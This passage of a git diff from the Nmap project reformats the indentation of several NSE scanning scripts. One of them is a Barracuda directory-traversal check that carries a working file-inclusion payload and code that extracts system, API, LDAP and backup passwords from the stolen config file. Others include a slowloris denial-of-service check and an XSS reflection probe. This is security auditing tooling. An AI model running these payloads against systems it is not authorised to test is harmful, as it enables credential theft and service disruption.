stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) + table.insert(result, ("Compiled: %s"):format(compiled)) + end + if response['body']:match("Identifier:%s*([^][<]+)") then + local identifier = response['body']:match("Identifier:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier)) + table.insert(result, ("Identifier: %s"):format(identifier)) + end + if response['body']:match("([%w/]+)\">Log<") then + local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<") + stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles)) + table.insert(result, ("Log Files: %s"):format(logfiles)) + end + local tasktrackers = get_tasktrackers (host, port) + if next(tasktrackers) then + table.insert(result, "Tasktrackers: ") + table.insert(result, tasktrackers) + end + if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then + local userhistory = get_userhistory (host, port) + table.insert(result, "Userhistory: ") + table.insert(result, userhistory) + end + if #result > 0 then + port.version.name = "hadoop-jobtracker" + port.version.product = "Apache Hadoop" + nmap.set_port_version(host, port) + end + return stdnse.format_output(true, result) + end end diff --git a/scripts/http-barracuda-dir-traversal.nse b/scripts/http-barracuda-dir-traversal.nse index 4efde6398..947bd537d 100644 --- a/scripts/http-barracuda-dir-traversal.nse +++ b/scripts/http-barracuda-dir-traversal.nse @@ -27,10 +27,10 @@ http://www.exploit-db.com/exploits/15130/ -- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p -- -- @args http-max-cache-size --- Set max cache size. The default value is 100,000. --- Barracuda config files vary in size mostly due to the number --- of users. Using a max cache size of 5,000,000 bytes should be --- enough for config files containing up to 5,000 users. +-- Set max cache size. The default value is 100,000. +-- Barracuda config files vary in size mostly due to the number +-- of users. Using a max cache size of 5,000,000 bytes should be +-- enough for config files containing up to 5,000 users. -- -- @output -- PORT STATE SERVICE REASON @@ -85,100 +85,100 @@ portrule = shortport.port_or_service (8000, "barracuda", {"tcp"}) action = function(host, port) - local result = {} - local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"} - local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00" - local user_count = 0 - local config_file = "" + local result = {} + local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"} + local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00" + local user_count = 0 + local config_file = "" - -- Loop through vulnerable files - stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) - for _, path in ipairs(paths) do + -- Loop through vulnerable files + stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + for _, path in ipairs(paths) do - -- Retrieve file - local data = http.get(host, port, tostring(path)) - if data and data.status then + -- Retrieve file + local data = http.get(host, port, tostring(path)) + if data and data.status then - -- Check if file exists - stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path)) - if tostring(data.status):match("200") then + -- Check if file exists + stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path)) + if tostring(data.status):match("200") then - -- Attempt config file retrieval with LFI exploit - stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload)) - data = http.get(host, port, tostring(path .. payload)) - if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then + -- Attempt config file retrieval with LFI exploit + stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload)) + data = http.get(host, port, tostring(path .. payload)) + if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then - -- Check if the HTTP response contains a valid config file in MySQL database dump format - if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then - config_file = data.body - break - end + -- Check if the HTTP response contains a valid config file in MySQL database dump format + if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then + config_file = data.body + break + end - else - stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload)) - end + else + stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload)) + end - end + end - else - stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path)) - end + else + stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path)) + end - end + end - -- No config file found - if config_file == "" then - stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) - return - end + -- No config file found + if config_file == "" then + stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + return + end - -- Extract system info from config file in MySQL dump format - stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME) + -- Extract system info from config file in MySQL dump format + stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME) - -- Count users - if string.match(config_file, "'user_default_email_address',") then - for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end - end - table.insert(result, string.format("Users: %s", user_count)) + -- Count users + if string.match(config_file, "'user_default_email_address',") then + for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end + end + table.insert(result, string.format("Users: %s", user_count)) - -- Extract system info - local vars = { - {"Device", "branding_device_name"}, - {"Version","httpd_last_release_notes_version_read"}, - {"Hostname","system_default_hostname"}, - {"Domain","system_default_domain"}, - {"Timezone","system_timezone"}, - {"Language","default_ndr_lang"}, - {"Password","system_password"}, - {"API Password","api_password"}, - {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"}, - {"Gateway","system_gateway"}, - {"Primary DNS","system_primary_dns_server"}, - {"Secondary DNS","system_secondary_dns_server"}, - {"DNS Cache","dns_cache"}, - {"Backup Server","backup_server"}, - {"Backup Port","backup_port"}, - {"Backup Type","backup_type"}, - {"Backup Username","backup_username"}, - {"Backup Password","backup_password"}, - {"NTP Enabled","system_ntp"}, - {"NTP Server","system_ntp_server"}, - {"SSH Enabled","system_ssh_enable"}, - {"BRTS Enabled","brts_enable"}, - {"BRTS Server","brts_lookup_domain"}, - {"HTTP Port","http_port"}, - {"HTTP Disabled","http_shutoff"}, - {"HTTPS Port","https_port"}, - {"HTTPS Only","https_only"}, - } - for _, var in ipairs(vars) do - local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2])) - if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end - end + -- Extract system info + local vars = { + {"Device", "branding_device_name"}, + {"Version","httpd_last_release_notes_version_read"}, + {"Hostname","system_default_hostname"}, + {"Domain","system_default_domain"}, + {"Timezone","system_timezone"}, + {"Language","default_ndr_lang"}, + {"Password","system_password"}, + {"API Password","api_password"}, + {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"}, + {"Gateway","system_gateway"}, + {"Primary DNS","system_primary_dns_server"}, + {"Secondary DNS","system_secondary_dns_server"}, + {"DNS Cache","dns_cache"}, + {"Backup Server","backup_server"}, + {"Backup Port","backup_port"}, + {"Backup Type","backup_type"}, + {"Backup Username","backup_username"}, + {"Backup Password","backup_password"}, + {"NTP Enabled","system_ntp"}, + {"NTP Server","system_ntp_server"}, + {"SSH Enabled","system_ssh_enable"}, + {"BRTS Enabled","brts_enable"}, + {"BRTS Server","brts_lookup_domain"}, + {"HTTP Port","http_port"}, + {"HTTP Disabled","http_shutoff"}, + {"HTTPS Port","https_port"}, + {"HTTPS Only","https_only"}, + } + for _, var in ipairs(vars) do + local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2])) + if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end + end - table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119") + table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119") - -- Return results - return stdnse.format_output(true, result) + -- Return results + return stdnse.format_output(true, result) end diff --git a/scripts/http-csrf.nse b/scripts/http-csrf.nse index 31c14ec30..70c8ef603 100644 --- a/scripts/http-csrf.nse +++ b/scripts/http-csrf.nse @@ -62,126 +62,126 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open -- Checks if this is really a token. isToken = function(value) - local minlength = 8 - local minentropy = 72 + local minlength = 8 + local minentropy = 72 - -- If it has a reasonable length. - if #value > minlength then + -- If it has a reasonable length. + if #value > minlength then - local entropy = formulas.calcPwdEntropy(value) + local entropy = formulas.calcPwdEntropy(value) - -- Does it have a big entropy? - if entropy >= minentropy then - -- If it doesn't contain any spaces but contains at least one digit. - if not string.find(value, " ") and string.find(value, "%d") then - return 1 - end - end + -- Does it have a big entropy? + if entropy >= minentropy then + -- If it doesn't contain any spaces but contains at least one digit. + if not string.find(value, " ") and string.find(value, "%d") then + return 1 + end end + end - return 0 + return 0 end action = function(host, port) - local singlepages = stdnse.get_script_args("http-csrf.singlepages") - local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false + local singlepages = stdnse.get_script_args("http-csrf.singlepages") + local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false - local csrfvuln = {} - local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) + local csrfvuln = {} + local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) - if (not(crawler)) then - return - end + if (not(crawler)) then + return + end - crawler:set_timeout(10000) + crawler:set_timeout(10000) - local index, response, path - while (true) do + local index, response, path + while (true) do - if singlepages then - local k, target, - k, target = next(singlepages, index) - if (k == nil) then - break - end - response = http.get(host, port, target) - path = target + if singlepages then + local k, target, + k, target = next(singlepages, index) + if (k == nil) then + break + end + response = http.get(host, port, target) + path = target + else + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) else - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - - response = r.response - path = tostring(r.url) - end - - if response.body then - - local forms = http.grab_forms(response.body) - - for i, form in ipairs(forms) do - - form = http.parse_form(form) - - local resistant = false - if form then - for _, field in ipairs(form['fields']) do - - -- First we check the field's name. - if field['value'] then - resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]") - -- Let's be sure, by calculating the entropy of the field's value. - if not resistant and checkentropy then - resistant = isToken(field['value']) - end - - if resistant then - break - end - end - - end - - if not resistant then - - -- Handle forms with no id or action attributes. - form['id'] = form['id'] or "" - form['action'] = form['action'] or "-" - - local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action'] - table.insert(csrfvuln, { msg } ) - end - end - end - - if (index) then - index = index + 1 - else - index = 1 - end + break end + end + response = r.response + path = tostring(r.url) end - -- If the table is empty. - if next(csrfvuln) == nil then - return "Couldn't find any CSRF vulnerabilities." + if response.body then + + local forms = http.grab_forms(response.body) + + for i, form in ipairs(forms) do + + form = http.parse_form(form) + + local resistant = false + if form then + for _, field in ipairs(form['fields']) do + + -- First we check the field's name. + if field['value'] then + resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]") + -- Let's be sure, by calculating the entropy of the field's value. + if not resistant and checkentropy then + resistant = isToken(field['value']) + end + + if resistant then + break + end + end + + end + + if not resistant then + + -- Handle forms with no id or action attributes. + form['id'] = form['id'] or "" + form['action'] = form['action'] or "-" + + local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action'] + table.insert(csrfvuln, { msg } ) + end + end + end + + if (index) then + index = index + 1 + else + index = 1 + end end - table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ") + end - csrfvuln.name = crawler:getLimitations() + -- If the table is empty. + if next(csrfvuln) == nil then + return "Couldn't find any CSRF vulnerabilities." + end - return stdnse.format_output(true, csrfvuln) + table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ") + + csrfvuln.name = crawler:getLimitations() + + return stdnse.format_output(true, csrfvuln) end diff --git a/scripts/http-feed.nse b/scripts/http-feed.nse index 5d93cb120..3ab483e98 100644 --- a/scripts/http-feed.nse +++ b/scripts/http-feed.nse @@ -40,10 +40,10 @@ FEEDS = { RSS = { search = { '' }, version = 'version=["\'](.-)["\']' } } FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']", - "type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", - "type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']", - "type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", - } + "type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", + "type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']", + "type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", + } feedsfound = {} @@ -52,107 +52,107 @@ checked = {} -- Searches the resource for feeds. local findFeeds = function(body, path) - if body then - for _, f in pairs(FEEDS) do - for __, pf in pairs(f["search"]) do + if body then + for _, f in pairs(FEEDS) do + for __, pf in pairs(f["search"]) do - local c = string.match(body, pf) + local c = string.match(body, pf) - if c then - local v = "" - -- Try to find feed's version. - if string.match(c, f["version"]) then - v = " (version " .. string.match(c, f["version"]) .. ")" - end - feedsfound[path] = _ .. v .. ": " - end - - end - end + if c then + local v = "" + -- Try to find feed's version. + if string.match(c, f["version"]) then + v = " (version " .. string.match(c, f["version"]) .. ")" + end + feedsfound[path] = _ .. v .. ": " end - checked[path] = true + + end + end + end + checked[path] = true end action = function(host, port) - local maxpagecount = stdnse.get_script_args("maxpagecount") or 40 + local maxpagecount = stdnse.get_script_args("maxpagecount") or 40 - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, - maxpagecount = maxpagecount, - maxdepth = -1, - withinhost = 1 - }) + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, + maxpagecount = maxpagecount, + maxdepth = -1, + withinhost = 1 + }) - crawler.options.doscraping = function(url) - if crawler:iswithinhost(url) - and not crawler:isresource(url, "js") - and not crawler:isresource(url, "css") then - return true - end + crawler.options.doscraping = function(url) + if crawler:iswithinhost(url) + and not crawler:isresource(url, "js") + and not crawler:isresource(url, "css") then + return true + end + end + + if (not(crawler)) then + return + end + + crawler:set_timeout(10000) + + local index, k, target, response, path + while (true) do + + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) + else + break + end end - if (not(crawler)) then - return - end + response = r.response + path = tostring(r.url) - crawler:set_timeout(10000) + if response.body then + findFeeds(response.body, path) - local index, k, target, response, path - while (true) do - - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) + for _, p in ipairs(FEEDS_REFS) do + for l in string.gmatch(response.body, p) do + if not checked[l] then + local resp + -- If this is an absolute URL, use get_url. + if string.match(l, "^http") then + resp = http.get_url(l) else - break + resp = http.get(host, port, l) end - end - - response = r.response - path = tostring(r.url) - - if response.body then - findFeeds(response.body, path) - - for _, p in ipairs(FEEDS_REFS) do - for l in string.gmatch(response.body, p) do - if not checked[l] then - local resp - -- If this is an absolute URL, use get_url. - if string.match(l, "^http") then - resp = http.get_url(l) - else - resp = http.get(host, port, l) - end - if resp.body then - findFeeds(resp.body, l) - end - end - end + if resp.body then + findFeeds(resp.body, l) end + end end - + end end - -- If the table is empty. - if next(feedsfound) == nil then - return "Couldn't find any feeds." - end + end - -- Create a nice output. - local results = {} - for c, _ in pairs(feedsfound) do - table.insert(results, {_ .. c } ) - end + -- If the table is empty. + if next(feedsfound) == nil then + return "Couldn't find any feeds." + end - table.insert(results, 1, "Found the following feeds: ") + -- Create a nice output. + local results = {} + for c, _ in pairs(feedsfound) do + table.insert(results, {_ .. c } ) + end - results.name = crawler:getLimitations() + table.insert(results, 1, "Found the following feeds: ") - return stdnse.format_output(true, results) + results.name = crawler:getLimitations() + + return stdnse.format_output(true, results) end diff --git a/scripts/http-iis-short-name-brute.nse b/scripts/http-iis-short-name-brute.nse index cf39f1ec4..c31bc3592 100644 --- a/scripts/http-iis-short-name-brute.nse +++ b/scripts/http-iis-short-name-brute.nse @@ -115,7 +115,7 @@ local function findName(host, port, path, number) end if errors>10 then stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME) - errors_max=true + errors_max=true else stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number) table.insert(folders, path .. "~" .. number) diff --git a/scripts/http-sitemap-generator.nse b/scripts/http-sitemap-generator.nse index 3d7fdaddc..9e9f5384c 100644 --- a/scripts/http-sitemap-generator.nse +++ b/scripts/http-sitemap-generator.nse @@ -123,56 +123,56 @@ function action(host, port) local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/" -- create a new crawler instance - local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } ) + local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } ) - if ( not(crawler) ) then - return - end + if ( not(crawler) ) then + return + end - local visited = {} + local visited = {} local dir_structure = {} local total_ext = {} local longest_dir_structure = {dir="/", depth=0} - while(true) do - local status, r = crawler:crawl() + while(true) do + local status, r = crawler:crawl() - if ( not(status) ) then - if ( r.err ) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - if r.response.status and r.response.status == 200 then - --check if we've already visited this file - local path = normalize_path(r.url.path) - if not visited[path] then - local ext = get_file_extension(path) - if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end - local dir = normalize_path(r.url.dir) - local _,dir_depth = string.gsub(dir,"/","/") - -- check if this path is the longest one - dir_depth = dir_depth - 1 -- first '/' - if dir_depth > longest_dir_structure["depth"] then - longest_dir_structure["dir"] = dir - longest_dir_structure["depth"] = dir_depth - end + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) + else + break + end + end + if r.response.status and r.response.status == 200 then + --check if we've already visited this file + local path = normalize_path(r.url.path) + if not visited[path] then + local ext = get_file_extension(path) + if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end + local dir = normalize_path(r.url.dir) + local _,dir_depth = string.gsub(dir,"/","/") + -- check if this path is the longest one + dir_depth = dir_depth - 1 -- first '/' + if dir_depth > longest_dir_structure["depth"] then + longest_dir_structure["dir"] = dir + longest_dir_structure["depth"] = dir_depth + end dict_add(dir_structure, dir, ext) -- when withinhost=false, then maybe we'd like to include the full url -- with each path listed in the output visited[path] = true end - end - end + end + end - local out = internal_table_to_output(sort_dirs(dir_structure)) - local tot = sort_by_keys(total_ext) - out = - { - "Directory structure:", out, - {name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir}, - {name="Total files found (by extension):", table.concat(tot, "; ")} - } - return stdnse.format_output(true, out) + local out = internal_table_to_output(sort_dirs(dir_structure)) + local tot = sort_by_keys(total_ext) + out = + { + "Directory structure:", out, + {name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir}, + {name="Total files found (by extension):", table.concat(tot, "; ")} + } + return stdnse.format_output(true, out) end diff --git a/scripts/http-slowloris-check.nse b/scripts/http-slowloris-check.nse index bbdf30c18..7a9dd2a68 100644 --- a/scripts/http-slowloris-check.nse +++ b/scripts/http-slowloris-check.nse @@ -61,99 +61,99 @@ portrule = shortport.http local HalfHTTP local Bestopt local TimeWithout -- time without additional headers -local TimeWith -- time with additional headers +local TimeWith -- time with additional headers -- does a half http request and waits until timeout local function slowThread1(host,port) - -- if no response was received when determining SSL - if ( Bestopt == "none" ) then - return - end - local socket,status - local catch = function() - TimeWithout = nmap.clock() - end - local try = nmap.new_try(catch) - socket = nmap.new_socket() - socket:set_timeout(500 * 1000) - socket:connect(host.ip, port, Bestopt) - socket:send(HalfHTTP) - try(socket:receive()) - TimeWithout = nmap.clock() + -- if no response was received when determining SSL + if ( Bestopt == "none" ) then + return + end + local socket,status + local catch = function() + TimeWithout = nmap.clock() + end + local try = nmap.new_try(catch) + socket = nmap.new_socket() + socket:set_timeout(500 * 1000) + socket:connect(host.ip, port, Bestopt) + socket:send(HalfHTTP) + try(socket:receive()) + TimeWithout = nmap.clock() end -- does a half http request but sends another -- header value after 10 seconds local function slowThread2(host,port) - -- if no response was received when determining SSL - if ( Bestopt == "none" ) then - return - end - local socket,status - local catch = function() - -- note the time the socket timedout - TimeWith = nmap.clock() - stdnse.print_debug("2 try") - end - local try = nmap.new_try(catch) - socket = nmap.new_socket() - socket:set_timeout(500 * 1000) - socket:connect(host.ip, port, Bestopt) - socket:send(HalfHTTP) - stdnse.sleep(10) - socket:send("X-a: b\r\n") - try(socket:receive()) - TimeWith = nmap.clock() + -- if no response was received when determining SSL + if ( Bestopt == "none" ) then + return + end + local socket,status + local catch = function() + -- note the time the socket timedout + TimeWith = nmap.clock() + stdnse.print_debug("2 try") + end + local try = nmap.new_try(catch) + socket = nmap.new_socket() + socket:set_timeout(500 * 1000) + socket:connect(host.ip, port, Bestopt) + socket:send(HalfHTTP) + stdnse.sleep(10) + socket:send("X-a: b\r\n") + try(socket:receive()) + TimeWith = nmap.clock() end action = function(host,port) - local slowloris = { - title = "Slowloris DOS attack", - description = [[ + local slowloris = { + title = "Slowloris DOS attack", + description = [[ Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. By doing so, it starves the http server's resources causing Denial Of Service. - ]], - references = { - 'http://ha.ckers.org/slowloris/', - }, - dates = { - disclosure = {year = '2009', month = '09', day = '17'}, - }, - exploit_results = {}, - } +]], + references = { + 'http://ha.ckers.org/slowloris/', + }, + dates = { + disclosure = {year = '2009', month = '09', day = '17'}, + }, + exploit_results = {}, + } - local report = vulns.Report:new(SCRIPT_NAME, host, port) - slowloris.state = vulns.STATE.NOT_VULN + local report = vulns.Report:new(SCRIPT_NAME, host, port) + slowloris.state = vulns.STATE.NOT_VULN - local _ - _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl - HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. - "Host: " .. host.ip .. "\r\n" .. - "User-Agent: " .. http.USER_AGENT .. "\r\n; " .. - "Content-Length: 42\r\n" - -- both threads run at the same time - local thread1 = stdnse.new_thread(slowThread1, host, port) - local thread2 = stdnse.new_thread(slowThread2, host, port) - while true do -- wait for both threads to die - if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then - break - end - stdnse.sleep(1) - end - -- compare times - if ( not(TimeWith) or not(TimeWithout) ) then - return - end - local diff = TimeWith - TimeWithout - stdnse.print_debug("Time difference is: %d",diff) - -- if second connection died 10 or more seconds after the first - -- it means that sending additional data prolonged the connection's time - -- and the server is vulnerable to slowloris attack - if diff >= 10 then - stdnse.print_debug("Difference is greater or equal to 10 seconds.") - slowloris.state = vulns.STATE.VULN - end - return report:make_output(slowloris) + local _ + _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl + HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. + "Host: " .. host.ip .. "\r\n" .. + "User-Agent: " .. http.USER_AGENT .. "\r\n; " .. + "Content-Length: 42\r\n" + -- both threads run at the same time + local thread1 = stdnse.new_thread(slowThread1, host, port) + local thread2 = stdnse.new_thread(slowThread2, host, port) + while true do -- wait for both threads to die + if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then + break + end + stdnse.sleep(1) + end + -- compare times + if ( not(TimeWith) or not(TimeWithout) ) then + return + end + local diff = TimeWith - TimeWithout + stdnse.print_debug("Time difference is: %d",diff) + -- if second connection died 10 or more seconds after the first + -- it means that sending additional data prolonged the connection's time + -- and the server is vulnerable to slowloris attack + if diff >= 10 then + stdnse.print_debug("Difference is greater or equal to 10 seconds.") + slowloris.state = vulns.STATE.VULN + end + return report:make_output(slowloris) end diff --git a/scripts/http-unsafe-output-escaping.nse b/scripts/http-unsafe-output-escaping.nse index 6da4d6031..9b86501c4 100644 --- a/scripts/http-unsafe-output-escaping.nse +++ b/scripts/http-unsafe-output-escaping.nse @@ -47,117 +47,117 @@ categories = {"discovery", "intrusive"} portrule = shortport.http local function dbg(str,...) - stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...) + stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...) end local function getHostPort(parsed) - local host, port = parsed.host, parsed.port - -- if no port was found, try to deduce it from the scheme - if ( not(port) ) then - port = (parsed.scheme == 'https') and 443 - port = port or ((parsed.scheme == 'http') and 80) - end - return host, port + local host, port = parsed.host, parsed.port + -- if no port was found, try to deduce it from the scheme + if ( not(port) ) then + port = (parsed.scheme == 'https') and 443 + port = port or ((parsed.scheme == 'http') and 80) + end + return host, port end local function getReflected(parsed, r) - local reflected_values,not_reflected_values = {},{} - local count = 0 - -- Now, we need to check the parameters and keys - local q = url.parse_query(parsed.query) - -- Check the values (and keys) and see if they are reflected in the page - for k,v in pairs(q) do - if r.response.body and r.response.body:find(v, 1, true) then - dbg("Reflected content %s=%s", k,v) - reflected_values[k] = v - count = count +1 - else - not_reflected_values[k] = v - end - end - if count > 0 then - return reflected_values,not_reflected_values,q - end + local reflected_values,not_reflected_values = {},{} + local count = 0 + -- Now, we need to check the parameters and keys + local q = url.parse_query(parsed.query) + -- Check the values (and keys) and see if they are reflected in the page + for k,v in pairs(q) do + if r.response.body and r.response.body:find(v, 1, true) then + dbg("Reflected content %s=%s", k,v) + reflected_values[k] = v + count = count +1 + else + not_reflected_values[k] = v + end + end + if count > 0 then + return reflected_values,not_reflected_values,q + end end local function addPayload(v) - return v.."ghz%3Ehzx%22zxc%27xcv" + return v.."ghz%3Ehzx%22zxc%27xcv" end local function createMinedLinks(reflected_values, all_values) - local new_links = {} - for k,v in pairs(reflected_values) do - -- First of all, add the payload to the reflected param - local urlParams = { [k] = addPayload(v)} - for k2,v2 in pairs(all_values) do - if k2 ~= k then - urlParams[k2] = v2 - end - end - new_links[k] = url.build_query(urlParams) - end - return new_links + local new_links = {} + for k,v in pairs(reflected_values) do + -- First of all, add the payload to the reflected param + local urlParams = { [k] = addPayload(v)} + for k2,v2 in pairs(all_values) do + if k2 ~= k then + urlParams[k2] = v2 + end + end + new_links[k] = url.build_query(urlParams) + end + return new_links end local function locatePayloads(response) - local results = {} - if response.body:find("ghz>hzx") then table.insert(results,">") end - if response.body:find('hzx"zxc') then table.insert(results,'"') end - if response.body:find("zxc'xcv") then table.insert(results,"'") end - return #results > 0 and results + local results = {} + if response.body:find("ghz>hzx") then table.insert(results,">") end + if response.body:find('hzx"zxc') then table.insert(results,'"') end + if response.body:find("zxc'xcv") then table.insert(results,"'") end + return #results > 0 and results end local function visitLinks(host, port,parsed,new_links, results,original_url) - for k,query in pairs(new_links) do - local ppath = url.parse_path(parsed.path or "") - local url = url.build_path(ppath) - if parsed.params then url = url .. ";" .. parsed.params end - url = url .. "?" .. query - dbg("Url to visit: %s", url) - local response = http.get(host, port, url) - local result = locatePayloads(response) - if result then - table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url)) - end - end + for k,query in pairs(new_links) do + local ppath = url.parse_path(parsed.path or "") + local url = url.build_path(ppath) + if parsed.params then url = url .. ";" .. parsed.params end + url = url .. "?" .. query + dbg("Url to visit: %s", url) + local response = http.get(host, port, url) + local result = locatePayloads(response) + if result then + table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url)) + end + end end action = function(host, port) - local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) - crawler:set_timeout(10000) + local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) + crawler:set_timeout(10000) - local results = {} - while(true) do - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if ( not(status) ) then - if ( r.err ) then - return stdnse.format_output(true, "ERROR: %s", r.reason) - else - break - end - end + local results = {} + while(true) do + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(true, "ERROR: %s", r.reason) + else + break + end + end - -- parse the returned url - local parsed = url.parse(tostring(r.url)) - -- We are only interested in links which have parameters - if parsed.query and #parsed.query > 0 then - local host, port = getHostPort(parsed) - local reflected_values,not_reflected_values,all_values = getReflected(parsed, r) + -- parse the returned url + local parsed = url.parse(tostring(r.url)) + -- We are only interested in links which have parameters + if parsed.query and #parsed.query > 